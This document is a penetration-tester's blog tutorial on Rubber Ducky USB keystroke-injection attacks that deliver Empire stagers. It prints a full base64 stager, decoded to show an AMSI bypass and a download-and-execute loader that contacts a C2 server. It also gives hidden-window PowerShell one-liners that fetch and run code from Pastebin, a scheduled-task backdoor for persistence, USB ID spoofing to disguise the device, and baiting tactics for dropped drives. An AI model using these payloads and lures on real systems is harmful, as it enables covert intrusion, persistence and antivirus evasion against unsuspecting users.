Real-World Rubber Ducky Attacks with Empire Stagers

Nine times out of ten, my goal when using a Rubber Ducky on pentests is to launch an Empire or Meterpreter session. However, for the Ducky to type out an entire stager often takes too much time to be practical for most real-world USB attacks. This article outlines three techniques to optimize the speed and minimize user detection of the Rubber Ducky.

Rubber Ducky Attack Vectors

The Sneak

Find a solid distraction for the user and, when they're not looking, insert the Ducky into an accessible USB port.

Pros: Payload delivery is guaranteed; The user never examines the Ducky.

Cons: It sucks getting caught; You usually have very little time, depending on the misdirection and ease of access to USB ports.

The Drop

Leave a Ducky around the office: reception, parking lots and bathrooms are usually easy to access and quite successful. Going the extra step to physically label the drive something juicy is well worth it. The Drop also includes sending the Ducky via Priority FedEx, which is a wildly effective vector with the right pretext.

Pros: You don't get caught; People tend to quickly become voyeurs when they see a USB key marked "2016 Vacation Photos".

Cons: Users are staring at their screens during injection and are much more likely to notice unusual behavior. 

The Watergate

Slip into an unattended office, usually at night, bypassing physical security controls. The Watergate often uses the Ducky as a physical clipboard to paste stager text into the victim machine.

Pros: All the time in the world.

Cons: Not nearly as commonly in scope in pentests. And, as always, sucks to get caught.

The two most commonly used methodologies, The Sneak and The Drop, need two things to be successful: speed and believability. So, let's first get a baseline and then optimize the delivery of an Empire stager to minimize execution time and keep the user as unaware as possible.


Baseline: Standard Methodology

For information on creating Empire stagers, see Stagers 101.

Using Empire's stager/windows/ducky, we get the following results:

DELAY 3000
GUI r
DELAY 1000
STRING powershell
ENTER
DELAY 2000
STRING powershell -W Hidden -nop -noni -enc WwBSAGUAZgBdAC4AQQBzAHMARQBNAGIATAB5AC4ARwBFAFQAVAB5AHAARQAoACcAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEEAbQBzAGkAVQB0AGkAbABzACcAKQB8AD8AewAkAF8AfQB8ACUAewAkAF8ALgBHAEUAVABGAGkARQBsAEQAKAAnAGEAbQBzAGkASQBuAGkAdABGAGEAaQBsAGUAZAAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAFMARQB0AFYAQQBsAFUAZQAoACQAbgBVAEwAbAAsACQAdABSAFUAZQApAH0AOwBbAFMAeQBTAFQAZQBtAC4ATgBFAFQALgBTAGUAcgB2AGkAQwBFAFAAbwBJAE4AdABNAEEATgBBAEcAZQBSAF0AOgA6AEUAWABwAEUAYwB0ADEAMAAwAEMATwBOAFQASQBOAFUARQA9ADAAOwAkAFcAQwA9AE4ARQBXAC0ATwBiAEoAZQBDAFQAIABTAHkAUwB0AEUATQAuAE4AZQBUAC4AVwBFAGIAQwBsAGkARQBOAFQAOwAkAHUAPQAnAE0AbwB6AGkAbABsAGEALwA1AC4AMAAgACgAVwBpAG4AZABvAHcAcwAgAE4AVAAgADYALgAxADsAIABXAE8AVwA2ADQAOwAgAFQAcgBpAGQAZQBuAHQALwA3AC4AMAA7ACAAcgB2ADoAMQAxAC4AMAApACAAbABpAGsAZQAgAEcAZQBjAGsAbwAnADsAJAB3AGMALgBIAGUAQQBkAEUAUgBTAC4AQQBkAGQAKAAnAFUAcwBlAHIALQBBAGcAZQBuAHQAJwAsACQAdQApADsAJAB3AGMALgBQAHIAbwB4AHkAPQBbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAEUAQgBSAEUAUQB1AGUAcwBUAF0AOgA6AEQARQBGAGEAdQBMAHQAVwBFAEIAUAByAE8AeAB5ADsAJABXAEMALgBQAFIAbwBYAFkALgBDAFIARQBkAGUAbgB0AEkAQQBMAFMAIAA9ACAAWwBTAHkAcwBUAEUATQAuAE4ARQB0AC4AQwByAEUARABlAE4AdABpAEEAbABDAEEAQwBoAGUAXQA6ADoARABFAEYAQQBVAEwAVABOAEUAVABXAE8AUgBrAEMAUgBFAEQAZQBOAHQASQBhAGwAUwA7ACQASwA9AFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAEMATwBkAGkATgBHAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AEIAWQB0AEUAcwAoACcAYwBJAHAAMABDADwASgAtAHMAbABUAF8AXgBAAGkANABQAEcALAA4AHgAWABGACsAZgBFAFIAMwB2AEQAfgBkACcAKQA7ACQAUgA9AHsAJABEACwAJABLAD0AJABBAFIARwBTADsAJABTAD0AMAAuAC4AMgA1ADUAOwAwAC4ALgAyADUANQB8ACUAewAkAEoAPQAoACQASgArACQAUwBbACQAXwBdACsAJABLAFsAJABfACUAJABLAC4AQwBvAHUATgB0AF0AKQAlADIANQA2ADsAJABTAFsAJABfAF0ALAAkAFMAWwAkAEoAXQA9ACQAUwBbACQASgBdACwAJABTAFsAJABfAF0AfQA7ACQARAB8ACUAewAkAEkAPQAoACQASQArADEAKQAlADIANQA2ADsAJABIAD0AKAAkAEgAKwAkAFMAWwAkAEkAXQApACUAMgA1ADYAOwAkAFMAWwAkAEkAXQAsACQAUwBbACQASABdAD0AJABTAFsAJABIAF0ALAAkAFMAWwAkAEkAXQA7ACQAXwAtAGIAeABPAFIAJABTAFsAKAAkAFMAWwAkAEkAXQArACQAUwBbACQASABdACkAJQAyADUANgBdAH0AfQA7ACQAdwBjAC4ASABlAGEAZABFAHIAcwAuAEEARABkACgAIgBDAG8AbwBrAGkAZQAiACwAIgBzAGUAcwBzAGkAbwBuAD0AeABiADEAcgBKAGoATABuAGwANQBKAGsAMABqADEATgAxAFYAZABoAHgAZwByAE8ANgArAFkAPQAiACkAOwAkAHMAZQByAD0AJwBoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAxAC4AMgA6ADgAMAAnADsAJAB0AD0AJwAvAGwAbwBnAGkAbgAvAHAAcgBvAGMAZQBzAHMALgBwAGgAcAAnADsAJABEAGEAVABBAD0AJABXAEMALgBEAE8AdwBOAGwAbwBhAGQARABhAFQAYQAoACQAcwBlAFIAKwAkAHQAKQA7ACQAaQBWAD0AJABEAEEAdABBAFsAMAAuAC4AMwBdADsAJABEAEEAdABhAD0AJABEAEEAdABBAFsANAAuAC4AJABEAGEAdABhAC4ATABFAG4ARwB0AEgAXQA7AC0ASgBPAEkATgBbAEMASABBAHIAWwBdAF0AKAAmACAAJABSACAAJABkAGEAVABBACAAKAAkAEkAVgArACQASwApACkAfABJAEUAWAA=
ENTER

Time to complete: Approx. 38 seconds
Input characters: 1 (r) + 10 (powershell) + 1 (ENTER) + 2657 (payload) + 1 (ENTER) = 2670 Characters

The first problem we run into is the driver issue. Most boxes have never seen a Ducky (or that particular VID/PID) before, so you have to assume that the driver loading will be a part of the real-world execution time.

At first glance, we could try shaving off time by launching the base64 encoded command directly from the 'Run' box, however this is not possible as the box will not accept this many characters.

We can do better...


The Sneak: Pastebin Execution in 3 Seconds

Step 1: Base64 decode the stager

$ echo "WwBSAEUARgBdAC4AQQBTAFMAZ...ACkAfABJAEUAWAA=" | base64 -d
[REF].ASSemBLY.GetType('System.Management.Automation.AmsiUtils')|?{$_}|%{$_.GEtFieLd('amsiInitFailed','NonPublic,Static').SeTVaLUE($NULl,$TruE)};[SYStEm.NeT.SeRvIcEPoIntMaNager]::EXPEcT100CoNtiNUe=0;$WC=New-ObjeCT SysTeM.NeT.WebCLIeNt;$u='Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; rv:11.0) like Gecko';$wC.HeAdeRs.ADD('User-Agent',$u);$WC.ProXy=[SystEm.NEt.WeBREqueSt]::DEfaULtWeBPRoXy;$wC.PRoXY.CreDENTIALS = [SYStEm.Net.CreDEnTIAlCaChe]::DEFAUltNEtworKCredENtIALS;$K=[SysTeM.TExT.ENcODING]::ASCII.GetBytES('cIp0C<J-slT_^@i4PG,8xXF+fER3vD~d');$R={$D,$K=$ARGS;$S=0..255;0..255|%{$J=($J+$S[$_]+$K[$_%$K.CouNT])%256;$S[$_],$S[$J]=$S[$J],$S[$_]};$D|%{$I=($I+1)%256;$H=($H+$S[$I])%256;$S[$I],$S[$H]=$S[$H],$S[$I];$_-bXoR$S[($S[$I]+$S[$H])%256]}};$Wc.HEadERs.ADD("Cookie","session=yf4qx5Kgt/VLttX7JIdbgtni/iQ=");$ser='http://192.168.1.2:80';$t='/login/process.php';$daTa=$WC.DOWNLOAdDAta($ser+$t);$Iv=$dAta[0..3];$DaTa=$daTA[4..$dAta.leNGTh];-JoiN[ChAr[]](& $R $DaTA ($IV+$K))|IEX

Alternatively, you can re-generate the stager using Empire's multi/launcher with the Base64 option set to False.

Step 2: Upload the stager to pastebin

Copy and paste the Base64 decoded PowerShell to Pastebin and save the raw path. Make sure to use the secure https link to help avoid detection.

For example, see https://pastebin.com/raw/ani8ic5X

Step 3: Create a PowerShell one-liner to launch stager

powershell -ep bypass -w h -c "IEX (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/ani8ic5X')"

We use the minimal options '-ep bypass' to bypass the execution policy and '-w h' to hide the PowerShell window from the user.

Step 4: Play with the timings

The default Empire timings (3000 and 1000) are very conservative. Through some experimentation on different systems, these can be pushed to:

DELAY 500
GUI r
DELAY 100

Step 5: Cloak the USB VID & PID

To further hide the Ducky, it is necessary to modify the USB Vendor ID (VID) and Product ID (PID). As we are just performing keyboard injection, let's spoof the Microsoft (0x045E) Generic 'Keyboard' (0xFFF8). You can download the Microsoft vidpid.bin file here and copy it as vidpid.bin to the root directory of the Ducky.

$ cp msft-vidpid.bin /media/PATH/TO/DUCKY/vidpid.bin

STEP 6: PUTTING IT ALL TOGETHER

Time to complete: Approx. 3 seconds
Input characters: 1 (r) + 114 (payload)+ 1 (ENTER) = 116 Characters

DELAY 500
GUI r
DELAY 100
STRING powershell -ep bypass -w h -c "IEX (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/ani8ic5X')"
ENTER

Download pastebin-payload.txt and remember to swap out the Pastebin link with your own.

Compile the ducky payload (read the Rubber Ducky wiki for more information):

$ java -jar duckencoder.jar -i pastebin-payload.txt -o /media/PATH/TO/DUCKY/inject.bin

The Drop: Adding Believability

Because The Drop involves the victim actually interacting with the Ducky, the attack must be both discrete and convincing. We're going to use the same Pastebin delivery system as The Sneak, but first we have to prepare the Ducky to appear as a USB drive.

Step 1: Flash Rubber Ducky firmware to TWIN Duck

Erase and flash the Ducky firmware to the Twin Duck firmware (c_duck_v2.1.hex, at the time of this article).
For more comprehensive flashing instructions, visit the Ducky Wiki on Flashing.

1. Install dfu-programmer:

$ sudo apt-get update && sudo apt-get install dfu-programmer

2. Remove Ducky's flash card and insert the Ducky into your host machine with the button pressed.

3. Erase the current firmware:

$ sudo dfu-programmer at32uc3b1256 erase

4. Update the firmware to Twin Duck:

$ sudo dfu-programmer at32uc3b1256 flash --suppress-bootloader-mem c_duck_v2.1.hex

5. Reset to Ducky to get to working again:

$ sudo dfu-programmer at32uc3b1256 reset

Step 2: Cloak the USB VID & PID

In this case, let's emulate one of the most common USB flash drive chipsets: Alcor Micro Corp's (0x058F) generic 'Flash Drive' (0x6387). You can download a custom-built Alcor Micro vidpid.bin file and copy it to the Ducky.

$ cp alcor-vidpid.bin /media/PATH/TO/DUCKY/vidpid.bin

Step 3: Choose a story for your drive

Was this drive dropped by the CFO of the target company? Is it the personal drive of a college intern? The drive's story will inform your decisions in the next steps, so pick a narrative and stick to it.

Step 4: Add Drive Label

The easiest way to add a label to a FAT16 drive in Linux is to use GParted.

1. Load the MicroSD Card through a reader.
2. Launch GParted and switch to the USB drive (often /dev/sdb)
3. Unmount the drive (Partition -> Unmount)
4. Right click and go to 'Label File System' and choose a label in line with your drive's story
5. Click 'Apply'

Step 5: Further trickery

The main goal for The Drop is to avoid users freaking out when they see commands being entered into their computer and calling IT or, even worse, unpluging the ethernet or power. (It happens!) An engaging user experience can make up for some "quirkiness" with the USB drive. 

  • Add dummy content inside the drive (pictures, documents, etc.) and make it believable. (SocEng side note: Adding NSFW content makes it less likely that the victim will turn the drive into their IT department.)
     
  • Make 'inject.bin' and 'vidpid.bin' hidden on Windows systems. You can use wine attrib +h FILENAME for this, but I have found it much more reliable to load the SD card onto a Windows box and make the files hidden manually.

Step 6: Set up Injection using the above Pastebin method


Air Gapped Systems and Offline Laptops: Execute from Storage

Not only do we have space on the Ducky's USB storage to create a convincing and interesting experience for the user, but we also have a launching ground to execute larger payloads. In this example, we are going to build a payload designed to compromise offline laptops and air gapped systems (if they are ever re-connected to the network temporarily). Of course, this payload is just a PoC and can easily be swapped out with a more comprehensive PowerShell rootkit. Since many steps are the same as above, I will only point out the changes in each.

Step 1: Flash Rubber Ducky firmware to TWIN Duck

Step 2: Add Drive Label

Let's label the drive DUCKY for this example.

Step 3: Base64 decode the empire stager and upload it to pastebin

Step 4: Create a scheduled task in powershell

In backdoor.ps1 (download here):

$PScommand = 'powershell -ep bypass -w h -enc '
$IEXPayload = "IEX (New-Object Net.WebClient).DownloadString('https://pastebin.com/raw/ani8ic5X')"
$bytes = [System.Text.Encoding]::Unicode.GetBytes($IEXPayload)
$encCommand = [Convert]::ToBase64String($bytes)
$null = schtasks /Create /SC MINUTE /TN Updater /TR "$PScommand $encCommand"

Note: In this example, the script is set to check for internet access every 60 seconds, however, in real-world scenarios, it is best to have the stager check every few hours or even once a day.

Step 5: Load backdoor.ps1 onto the Rubber Ducky

To further reduce the number of characters Ducky needs to type, we will rename the backdoor to 'b.ps1'.

$ cp backdoor.ps1 /media/PATH/TO/DUCKY/b.ps1

Step 6: Create a PowerShell one-liner to launch the backdoor

The tricky part here is finding on which letter drive the DUCKY SD card has mounted. This one-liner first finds the drive labeled 'DUCKY', extracts the letter of that drive, appends the PowerShell file to the string and executes the script.

Windows 7-10 (gwmi method) - 104 Characters

powershell -ep bypass -w h -c ".(((gwmi Win32_Volume | ? {$_.Label -eq 'DUCKY'}).DriveLetter)+'\b.ps1')"

Windows 8-10 (Get-Volume method) - 94 Characters

powershell -ep bypass -w h -c ".(((Get-Volume -FileSystemLabel DUCKY).DriveLetter)+':\b.ps1')"

Step 7: Set the timings

DELAY 2800
GUI r
DELAY 150

Step 8: Cloak the USB VID & PID

Let's again spoof the Alcor Micro Corp's (0x058F) generic 'Flash Drive' (0x6387), which can be downloaded here.

$ cp alcor-vidpid.bin /media/PATH/TO/DUCKY/vidpid.bin

Step 9: Putting it all together (get-volume method)

Time to complete: Approx. 9 seconds
Input characters: 1 (r) + 94 (payload)+ 1 (ENTER) = 96 Characters

DELAY 2800
GUI r
DELAY 150
STRING powershell -ep bypass -w h -c ".(((Get-Volume -FileSystemLabel DUCKY).DriveLetter)+':\b.ps1')"
ENTER

Download the Get-Volume payload here. You can also download the gwmi version here.

Conclusion

We started with the default Empire Ducky script, which had 2,670 characters and took 38 seconds to execute. We optimized our delivery to use a web-based Empire stager, which brings execution time down to 3 seconds, with only 116 input characters. At a 3 second execution time, The Sneak becomes a feasible attack vector, provided the attacker has access to the USB ports. We also learned about how to create an engaging and convincing user experience that is consistent with the target's expectations (or fantasies). Adding these human elements greatly lowers detection and incident reporting rates. Ultimately, targets will be more lenient if they deem the drive's reward worth the risk. Lastly, we examined a PoC of executing a script from the Ducky's internal disk, which creates a persistent session, even when the computer is not connected to the internet. This has enormous benefits when using The Drop outside of the office, where people are less likely to be connected. All of the techniques discussed here are file-less compromise methods and thus are more probable to bypass AV. To add to the attack's stealth, I encourage you to begin to use your own hosted infrastructure, rather than Pastebin, as many well-known websites are blocked in corporate environments.